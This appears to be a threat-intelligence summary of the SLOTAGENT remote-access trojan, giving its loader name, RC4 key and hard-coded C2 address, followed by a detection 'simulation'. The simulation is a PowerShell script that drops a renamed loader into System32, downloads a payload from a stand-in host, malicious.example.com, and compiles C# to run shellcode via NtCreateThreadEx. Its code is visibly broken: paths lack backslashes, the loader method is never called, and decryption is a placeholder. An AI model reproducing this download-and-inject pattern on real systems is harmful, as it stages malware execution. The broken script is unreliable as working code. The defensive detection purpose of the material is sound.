New Malware SLOTAGENT Supporting BOF Execution Published

Summary

IIJ identified a previously unknown multi-functional RAT called SLOTAGENT inside a ZIP archive uploaded to a public repository. The malware supports execution of Beacon Object File payloads and includes anti-forensic capabilities such as timestomping to hinder analysis. It communicates with a hard-coded TCP endpoint through a custom protocol that exchanges JSON-formatted data. The loader relies on RC4-encrypted configuration data and reflective DLL loading to launch the final payload.

Investigation

Static analysis showed that the loader executable, WindowsOobeAppHost.AOT.exe, resolves Windows API functions through a custom hashing routine based on DJB2. Its encrypted configuration file, db.config, is decrypted with RC4 using the key easdbadshyfab and then executed as shellcode containing an XOR-encoded DLL. After loading, the RAT connects to 43.156.59.110:699 and processes JSON-based commands that support functions including screenshot capture, file upload and download, and BOF execution.

Mitigation

Defenders should detect the hard-coded command-and-control IP address and look for the distinctive HTTP-like path strings associated with the malware’s network traffic. The YARA rules provided in the report should be deployed to identify both the loader and the RAT components. Security teams should also monitor for suspicious API hashing behavior and reflective DLL loading on endpoints. Execution of unsigned and untrusted EXE or DLL files should be restricted wherever possible.

Response

If indicators linked to SLOTAGENT are detected, isolate the affected host immediately, terminate the malicious process, and collect memory for forensic examination. The command-and-control IP address and related ports should be blocked at the network boundary. Organizations should then perform a full sweep for the known file names and hashes and apply the published YARA signatures across endpoint detection systems.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

• Attack Narrative & Commands:

  The adversary has obtained a copy of the SLOTAGENT loader binary, renamed it to WindowsOobeAppHost.AOT.exe to blend with legitimate OOBE processes, and placed it in C:WindowsSystem32. The payload is stored in an encrypted blob on the attacker’s server. Using PowerShell, the attacker downloads the encrypted blob, decrypts it in memory, and invokes the loader’s reflective routine via NtCreateThreadEx. The loader internally calls NtCreateFile to read additional resources from the encrypted blob and then uses reflective loading to execute the malicious DLL without touching disk. This activity produces a Sysmon ProcessCreate event with the exact Image name and a CallTrace containing the three strings defined in the rule.

• Regression Test Script:

  # -------------------------------------------------
  # SLOTAGENT reflective‑loading simulation (Windows)
  # -------------------------------------------------
  # 1. Define paths
  $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
  $payloadUrl = "https://malicious.example.com/payload.bin"
  $tempPayload = "$env:TEMPpayload.bin"
  
  # 2. Ensure the loader exists (simulated copy of the real binary)
  if (-not (Test-Path $loaderPath)) {
      Write-Host "Copying simulated loader to $loaderPath"
      Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath
  }
  
  # 3. Download encrypted payload (simulated)
  Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload
  
  # 4. Decrypt payload in memory (placeholder – real decryption omitted)
  $decryptedBytes = Get-Content $tempPayload -Encoding Byte
  
  # 5. Invoke reflective loading via native API calls
  #    This uses a tiny C# helper compiled on‑the‑fly that calls NtCreateThreadEx
  $cSharp = @"
  using System;
  using System.Runtime.InteropServices;
  public class ReflectiveLoader {
      [DllImport("ntdll.dll", SetLastError=true)]
      public static extern IntPtr NtCreateThreadEx(
          out IntPtr threadHandle,
          uint desiredAccess,
          IntPtr objectAttributes,
          IntPtr processHandle,
          IntPtr startAddress,
          IntPtr parameter,
          bool createSuspended,
          uint stackZeroBits,
          uint sizeOfStackCommit,
          uint sizeOfStackReserve,
          IntPtr bytesBuffer);
      public static void Run(byte[] shellcode) {
          IntPtr hThread;
          NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero,
              Process.GetCurrentProcess().Handle,
              Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0),
              IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
      }
  }
  "@
  
  Add-Type $cSharp -Language CSharp
  
  # 6. Clean up temporary file
  Remove-Item $tempPayload -Force

• Cleanup Commands:

  # Terminate any lingering loader process
  Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Remove simulated loader binary
  $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
  if (Test-Path $loaderPath) {
      Remove-Item $loaderPath -Force
  }
  
  # Remove any residual temp files
  Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue